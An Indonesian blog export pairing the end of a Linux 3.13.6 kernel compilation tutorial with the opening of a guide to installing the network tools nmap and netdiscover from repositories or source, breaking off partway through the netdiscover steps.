<i>Note :</i><br />
1. Jika kamu belum memiliki <a href="https://www.gnu.org/software/wget/">wget</a>, kamu bisa menginstallnya melalui apt-get atau aptitude<br />
2. Ketika tutorial ini dibuat, versi kernel paling baru adalah 3.13.6, seiring perkembangan waktu kernel akan terus diupdate, kamu bisa kunjungi situs <a href="https://www.kernel.org/">ini</a> untuk mendownload versi kernel terbaru.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-czhsKujNkhg/UyGrgNfiqeI/AAAAAAAAArY/BhChsDGV1vM/s1600/kernel.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-czhsKujNkhg/UyGrgNfiqeI/AAAAAAAAArY/BhChsDGV1vM/s1600/kernel.jpg" height="299" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># apt-get install wget</span></pre>
<br />
Pastikan source kernel sudah berada di dalam folder ~/kernelbuild<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"><span style="color: #858585;">➜ kernelbuild ls -al
total 75400
drwxr-xr-x 2 omegahanggara omegahanggara 4096 Mar 13 16:56 ./
drwxr-xr-x 61 omegahanggara omegahanggara 4096 Mar 13 16:31 ../
-rw-r--r-- 1 omegahanggara omegahanggara 77194340 Mar 7 13:15 </span><b><span style="color: red;">linux-3.13.6.tar.xz</span></b></span></span><span style="color: #858585; font-size: 15px; line-height: 1.1em;">
</span></pre>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-2pBFXOSZgpw/UyGBLhJAB0I/AAAAAAAAAqA/pNsykXb-3AM/s1600/Screenshot+from+2014-03-13+16:57:44.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-2pBFXOSZgpw/UyGBLhJAB0I/AAAAAAAAAqA/pNsykXb-3AM/s1600/Screenshot+from+2014-03-13+16:57:44.png" height="201" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
4. Extract file linux-3.13.6.tar.xz dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ tar -xvJf linux-3.13.6.tar.xz</span></pre>
<br />
Jika berhasil, maka folder linux-3.13.6 akan terbentuk pada directory ~/kernelbuild<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-gBXTYqkgYFE/UyGB1BPJqOI/AAAAAAAAAqI/nlj2AB_lPCE/s1600/Screenshot+from+2014-03-13+17:00:40.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-gBXTYqkgYFE/UyGB1BPJqOI/AAAAAAAAAqI/nlj2AB_lPCE/s1600/Screenshot+from+2014-03-13+17:00:40.png" height="201" width="320" /></a></div>
<br />
<b>CONFIGURING SOURCE</b><br />
<i>NOTE :</i><br />
Ini adalah tahap terpenting yang memegang kunci keberhasilan kernel kamu, jika nanti kernel kamu tidak berfungsi, coba check kembali tahap ini!<br />
<br />
1. Pastikan folder linux-3.13.6 dalam keadaan bersih dan siap dikompilasi<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/kernelbuild/linux-3.13.6] $ make mrproper</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-m4Z4F_WyXG0/UyGE6eXKw-I/AAAAAAAAAqU/6GQb255M6cI/s1600/Screenshot+from+2014-03-13+17:13:51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-m4Z4F_WyXG0/UyGE6eXKw-I/AAAAAAAAAqU/6GQb255M6cI/s1600/Screenshot+from+2014-03-13+17:13:51.png" height="201" width="320" /></a></div>
<br />
2. Buat konfigurasi kernel baru berdasarkan konfigurasi kernel lama. Mengapa? Ini akan memperkecil gagalnya kernel yang mengakibatkan kernel panic! PASTIKAN KAMU SUDAH BERADA DI FOLDER ~/kernelbuild/linux-3.13.6<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/kernelbuild/linux-3.13.6] $ cat /boot/config-$(uname -r) > .config</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-wOsvE9P-9-w/UyGKgcmXvYI/AAAAAAAAAqk/wuwLDOJqkqo/s1600/Screenshot+from+2014-03-13+17:37:41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-wOsvE9P-9-w/UyGKgcmXvYI/AAAAAAAAAqk/wuwLDOJqkqo/s1600/Screenshot+from+2014-03-13+17:37:41.png" height="100" width="320" /></a></div>
<br />
<br />
3. Konfigurasi ulang untuk memasukan beberapa modul dan fitur baru<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/kernelbuild/linux-3.13.6] $ make xconfig</span></pre>
<br />
4. Saatnya narsis. Kamu bisa memberi nama kamu pada kernel ini. Pada kolom kanan, pilih <i>"General setup"</i>, kemudian pada kolom kiri double click pada bagian <i>"Local Version"</i>. Masukan apapun pada local version, misalkan pada tutorial ini saya memasukan <i>RedDragon-RC1</i> pada local version<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-pe3Sw0b03mw/UyGLzCzJQsI/AAAAAAAAAqw/Nc6vB7cxxGg/s1600/Screenshot+from+2014-03-13+17:41:06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-pe3Sw0b03mw/UyGLzCzJQsI/AAAAAAAAAqw/Nc6vB7cxxGg/s1600/Screenshot+from+2014-03-13+17:41:06.png" height="174" width="320" /></a></div>
<br />
5. Pastikan driver penting seperti wireless card sudah dimasukan pada daftar module yang akan dikompilasi. Misalkan untuk pengguna Atheros Communications Inc. AR9285 Wireless Network Adapter, kamu bisa check di<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">-- Device Drivers</span><br />
<span style="font-family: Courier New, Courier, monospace;"> -- Network Device Support</span><br />
<span style="font-family: Courier New, Courier, monospace;"> -- Wireless LAN</span><br />
<span style="font-family: Courier New, Courier, monospace;"> <b><span style="color: red;">[ ] Atheros Wireless Card (NEW)</span></b></span><br />
<br />
Checklist Atheros Wireless Card, sehingga menjadi seperti ini<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">-- Device Drivers</span><br />
<span style="font-family: Courier New, Courier, monospace;"> -- Network Device Support</span><br />
<span style="font-family: Courier New, Courier, monospace;"> -- Wireless LAN</span><br />
<span style="font-family: Courier New, Courier, monospace;"> <b><span style="color: lime;">[*] Atheros Wireless Card (NEW)</span></b></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-uAtBIiFvkp8/UyGM3bCbDiI/AAAAAAAAAq8/zksqyLDQHE0/s1600/Screenshot+from+2014-03-13+17:47:45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-uAtBIiFvkp8/UyGM3bCbDiI/AAAAAAAAAq8/zksqyLDQHE0/s1600/Screenshot+from+2014-03-13+17:47:45.png" height="174" width="320" /></a></div>
<br />
Simpan perubahan yang sudah dibuat dengan mengklik tombol <i>Save</i>, atau tekan <i>Ctrl-S</i><br />
Kembali ke terminal, maka akan ada pesan seperti ini<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;">[~/kernelbuild/linux-3.13.6] $ make xconfig</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">#
# configuration written to .config
#</span></span></pre>
<br />
<div>
<span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px; white-space: pre;"><br /></span></span><b>COMPILING SOURCE</b><br />
<i>Note :</i><br />
<br />
Tahap ini akan memakan waktu, silahkan seruput kopi / teh kamu, atau nikmati beberapa batang rokok sambil menunggu proses ini selesai<br />
<br />
Compile kernel dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;">[~/kernelbuild/linux-3.13.6] $ make</span></pre>
<br />
Dan tunggu beberapa menit (mungkin jam - tergantung pada spesifikasi mesin kamu)<br />
<br />
<i>Tips :</i><br />
Untuk mempercepat proses ini, kamu bisa menggunakan semua resource yang kamu punya. Misalkan kamu memiliki processor berinti 4. Kama kamu bisa menggunakan semua inti untuk melakukan process kompilasi dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;"><span style="color: #858585;">[~/kernelbuild/linux-3.13.6] $ make </span><b><span style="color: lime;">-j 4</span></b></span></pre>
<br />
4 (empat) adalah jumlah inti processor yang kamu punya. Jika kamu ragu kamu memiliki berapa inti, kamu bisa check dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;">[~/kernelbuild/linux-3.13.6] $ cat /proc/cpuinfo | grep processor | wc -l</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;">4</span></pre>
<br />
Untuk lebih aman, kamu bisa menggunakan perintah ini<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;"><span style="color: #858585;">[~/kernelbuild/linux-3.13.6] $ make </span><b><span style="color: lime;">-j $(</span></b></span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: lime; font-family: Courier New, Courier, monospace;"><b>cat /proc/cpuinfo | grep processor | wc -l</b></span></span><b style="font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;"><span style="color: lime;">)</span></b></pre>
<br />
<span style="color: red;"><i>WARNING :</i></span><br />
Menggunakan semua processor dapat memperlambat kinerja system!!! Do with your own risk!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-YcDGY_CDOZs/UyGQnRmgsZI/AAAAAAAAArI/WlLUMj7eFZU/s1600/Screenshot+from+2014-03-13+18:03:43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-YcDGY_CDOZs/UyGQnRmgsZI/AAAAAAAAArI/WlLUMj7eFZU/s1600/Screenshot+from+2014-03-13+18:03:43.png" height="174" width="320" /></a></div>
<br />
Bagi gue, ini membutuhkan waktu sekitar 1:37:12 (satu jam, 37 menit, 12 detik). Bagaimana dengan kalian? OK, sampai di sini sepertinya semuanya baik baik saja. Saatnya menginstall kernel baru kita!<br />
<br />
<b>INSTALLING NEW KERNEL</b><br />
Pertama, kita harus menginstall modul modul baru ke dalam system dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;">[~/kernelbuild/linux-3.13.6] # make modules_install</span></pre>
<br />
Kemudian untuk menginstall kernel baru, kita bisa menggunakan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;">[~/kernelbuild/linux-3.13.6] # make install</span></pre>
<br />
Just in case kalau nanti kernel kamu ngga muncul di GRUB, masukan perintah ini sebelum testing new kernel.<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 1.1em;">[~/kernelbuild/linux-3.13.6] # update-grub</span></pre>
<br />
Reboot, dan kamu akan mendapatkan kernel versi kamu sendiri<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-ky9PWn5sN8M/UyGyGdiMCzI/AAAAAAAAAro/cpFG5qY_Zyc/s1600/Screenshot+from+2014-03-13+20:26:03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-ky9PWn5sN8M/UyGyGdiMCzI/AAAAAAAAAro/cpFG5qY_Zyc/s1600/Screenshot+from+2014-03-13+20:26:03.png" height="201" width="320" /></a></div>
<br />
<i>NOTE :</i><br />
1. Jika kamu menggunakan VGA Nvidia, maka kamu harus meng-compile driver ini kembali. Check di <a href="http://double-dragon.blogspot.com/2013/04/install-nvidia-driver-for-kali-linux.html">sini</a> untuk panduan bagaimana cara menginstall Driver NVIDIA di Debian Based Distros.<br />
<br />
WARNING :<br />
Please.. Please.. Please.. Untuk para COPYCAT, PENJIPLAK, dan PLAGIAT... READ THIS<br />
<br />
<div style="text-align: center;">
<b><span style="background-color: black; color: red; font-family: Courier New, Courier, monospace;">IT'S OK TO COPY THIS ARTICLE, BUT MAKE SURE TO GIVE THE SOURCE. I'VE MADE THIS BY MY OWN HAND, MY OWN TIME, MY OWN MIND, SO IF YOU LIKE MY WORKS, YOU CAN APPRECIATE IT BY INCLUDING THE SOURCE ON YOUR ARTICLE</span></b></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: red; font-family: Courier New, Courier, monospace;"><br /></span></b></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: red; font-family: Courier New, Courier, monospace;">NGGA PA PA KALO KAMU MAU MENGKOPI ARTIKEL INI, TAPI PASTIKAN KAMU MEMBERIKAN SUMBERNYA. SAYA TELAH MEMBUAT INI DENGAN TANGAN SAYA SENDIRI, DENGAN WAKTU SAYA SENDIRI, DAN DENGAN PIKIRAN SAYA SENDIRI, JADI KALO KAMU SUKA DENGAN HASIL KERJA SAYA, KAMU BISA MENGHARGAINYA DENGAN MENYERTAKAN SUMBERNYA DI ARTIKEL KAMU</span></b></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<span style="color: red;"><b>HAPPY COMPILING GUYS!!!</b></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-35456667148145521652014-02-27T14:50:00.000+07:002014-02-27T14:51:52.037+07:00The red-dragon Classes: How to Install All RequirementsSaya telah memutuskan untuk membuat panduan dan tutorial dengan menggunakan Bahasa Indonesia. Ini adalah pilihan yang berat mengingat ada beberapa murid saya yang tidak fasih berbahasa Indonesia (mereka berasal dari luar Indonesia). Saya berharap kalian dapat menerima keputusan saya, lagipula kalian tetap dapat menggunakan fitur terjemahan milik Google Translate di <a href="http://translate.google.com/">sini</a>.<br />
<br />
Ya, aku tau. Mereka memang sedikit manja, padahal Bahasa Inggris adalah bahasa Global yang dipakai hampir di semua negara. Bahkan beberapa negara menggunakan Bahasa Inggris sebagai bahasa sehari-hari mereka. Aku harap mereka mau belajar memfasihkan Bahasa Inggris demi kebaikan mereka sendiri.<br />
<br />
Kembali ke topik kita, sebelumnya saya telah membagi panduan mengenai alat-alat yang dibutuhkan dalam mengikuti kelas saya di <a href="http://double-dragon.blogspot.com/2014/02/preparation-for-red-dragon-classes.html">sini</a>. Perlu diingat kembali, alat-alat tersebut akan diperbarui jika saya menemukan adanya alat baru yang harus diinstall di system kamu.<br />
<br />
<a name='more'></a><b><span style="font-size: large;">1. ALAT-ALAT PENYELIDIKAN (RECONNAISSANCE TOOLS)</span></b><br />
<br />
<b>NMAP</b><br />
Kamu dapat menginstall NMAP dengan 2 (dua) cara, cara pertama adalah melakukan kompilasi source code, cara kedua adalah dengan menginstall dari repository Linux distro yang kita gunakan. Perlu diketahui bahwa tidak semua repository menyediakan NMAP. Untuk itu check ketersediaan NMAP dengan perintah<br />
<br />
<b><span style="color: red;">NOTE:</span></b><br />
1. Tanda "#" menunjukkan bahwa perintah yang harus dijalankan dengan ROOT privileges!<br />
2. Tanda "$" menunjukkan bahwa perintah dapat dijalankan tanpa ROOT privileges!<br />
<br />
<b><i>Installation from repositories</i></b><br />
Cari tahu ketersedian nmap pada repository kamu dengan perintah<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"># apt-get update</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ apt-cache search nmap | awk '{print $1}' | sort | grep -i nmap</span></pre>
<br />
Jika kamu menemukan NMAP pada perintah di atas, maka kamu dapat menginstall nmap melalui repository kamu dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"># apt-get install nmap</span></pre>
<br />
Jika kamu tidak dapat menemukan nmap pada perintah di atas, maka kamu harus menambahkan list repository pada sources.list kamu dengan perintah:<br />
<br />
KALI LINUX REPOSITORY (RECOMMENDED)<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;"># </span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">echo -e "deb http://http.kali.org/kali kali main non-free contrib\ndeb http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"># apt-get update</span></span></pre>
<br />
Cek kembali ketersediaan nmap pada repository baru kamu<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ apt-cache search nmap | awk '{print $1}' | sort | grep -i nmap</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-qji5wPI-uNE/Uwr8qY0fC2I/AAAAAAAAAis/nIb7O7UAi9g/s1600/Screenshot+from+2014-02-24+15:02:30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-qji5wPI-uNE/Uwr8qY0fC2I/AAAAAAAAAis/nIb7O7UAi9g/s1600/Screenshot+from+2014-02-24+15:02:30.png" height="165" width="320" /></a></div>
<br />
Jika nmap sudah tersedia pada repository baru kamu, maka kamu dapat menginstall nmap dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"># apt-get install nmap -y</span></pre>
<br />
Kamu juga dapat menginstall nmap dengan melakukan kompilasi source code dengan cara-cara berikut:<br />
<br />
<i><b>Source code installation</b></i><br />
Download source code nmap dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ wget </span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">http://nmap.org/dist/nmap-6.40.tar.bz2</span></span></pre>
<br />
<br />
Atau kamu dapat mengunduh source code nmap di link <a href="http://nmap.org/dist/nmap-6.40.tar.bz2">ini</a>. Setelah itu, extract file nmap-6.40.tar.bz2 dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ </span></span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">tar xvjf </span></span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">nmap-6.40.tar.bz2</span></span></pre>
<br />
Ubah working directory kamu dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ cd nmap-6.40</span></span></pre>
<br />
<br />
Lakukan konfigurasi sebelum melakukan proses kompilasi dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ ./configure</span></span></pre>
<br />
Pastikan tidak ada dependencies yang missing pada system ini, jika semua berjalan lancar, maka kamu akan melihat tampilan seperti ini<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"> . .
\`-"'"-'/
} 6 6 {
==. Y ,==
/^^^\ .
/ \ ) Ncat: A modern interpretation of classic Netcat
( )-( )/
-""---""--- /
/ Ncat \_/
( ____
\_.=|____E
Configuration complete.
( ) /\ _ (
\ | ( \ ( \.( ) _____
\ \ \ ` ` ) \ ( ___ / _ \
(_` \+ . x ( .\ \/ \____-----------/ (o) \_
- .- \+ ; ( O \____
(__ +- .( -'.- <. \_____________ ` \ /
(_____ ._._: <_ - <- _- _ VVVVVVV VV V\ \/
. /./.+- . .- / +-- - . (--_AAAAAAA__A_/ |
(__ ' /x / x _/ ( \______________//_ \_______
, x / ( ' . / . / \___' \ /
/ / _/ / + | \ /
' (__/ / \/
/ \
NMAP IS A POWERFUL TOOL -- USE CAREFULLY AND RESPONSIBLY
Configuration complete. Type make (or gmake on some *BSD machines) to compile.</span></span>
</pre>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-QwVl2m6Nx7Q/Uwr_0dIl9cI/AAAAAAAAAi4/Kc3keKbHx7M/s1600/Screenshot+from+2014-02-24+15:16:07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-QwVl2m6Nx7Q/Uwr_0dIl9cI/AAAAAAAAAi4/Kc3keKbHx7M/s1600/Screenshot+from+2014-02-24+15:16:07.png" height="195" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Kemudian kita bisa melakukan tahap kompilasi dengan perintah</div>
<div>
<br /></div>
<div>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ make</span></span></pre>
</div>
<br />
Jika process kompilasi berjalan dengan baik, maka kamu bisa menginstall nmap dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"># make install</span></span></pre>
<br />
Pastikan nmap dapat digunakan sebagaimana mustinya<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"># nmap localhost</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-kqLNtsT8sdA/UwsAOUJokyI/AAAAAAAAAjA/Ix1iZPc8U6E/s1600/Screenshot+from+2014-02-24+15:17:51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-kqLNtsT8sdA/UwsAOUJokyI/AAAAAAAAAjA/Ix1iZPc8U6E/s1600/Screenshot+from+2014-02-24+15:17:51.png" height="195" width="320" /></a></div>
<br />
<br />
<b>NETDISCOVER</b><br />
Selanjutnya kita akan mencoba menginstall netdiscover pada system kita. Kita dapat menginstall netsdiscover dengan 2 cara, cara pertama melalui repository, dan cara kedua melalui kompilasi source code.<br />
<br />
<b><i>Installation from repository</i></b><br />
Sama seperti tahap nmap, pertama kita akan mencari apakan netdiscover tersedia di repository dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"># apt-get update</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ apt-cache search netdiscover | awk '{print $1}' | sort | grep -i netdiscover</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-sok-JTv3lvw/UwsCLZGUVvI/AAAAAAAAAjM/riO7hStODPw/s1600/Screenshot+from+2014-02-24+15:25:39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-sok-JTv3lvw/UwsCLZGUVvI/AAAAAAAAAjM/riO7hStODPw/s1600/Screenshot+from+2014-02-24+15:25:39.png" height="135" width="320" /></a></div>
<br />
<br />
Jika netdiscover tersedia maka kita dapat langsung menginstall netdiscover dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"># apt-get install netdiscover</span></pre>
<br />
Jika kamu mengikuti tahap instalasi nmap dengan repository milik KALI LINUX, maka kamu sudah pasti dapat menemukan netdiscover pada repository kamu. Jika kamu belum mengikuti tahap menambahkan repository milik KALI LINUX, kamu dapat mengikutinya di tahap sebelumnya.<br />
<br />
<b><i>Installation from source code</i></b><br />
Download netdiscover source code dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ wget </span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">http://nchc.dl.sourceforge.net/project/netdiscover/netdiscover/0.3-beta6/netdiscover-0.3-beta6.tar.gz</span></span></pre>
<br />
Atau kamu dapat mengunduh file nya di <a href="http://sourceforge.net/projects/netdiscover/files/netdiscover/0.3-beta6/netdiscover-0.3-beta6.tar.gz/download">sini</a><br />
<br />
Extract source code dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ tar -xvf </span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">netdiscover-0.3-beta6.tar.gz</span></span></pre>
<br />
Ubah working directory ke source code root directory dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ cd </span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">netdiscover-0.3-beta6/</span></span></pre>
<br />
Lakukan konfigurasi sebelum tahap kompilasi dengan perintah<br />
<br />
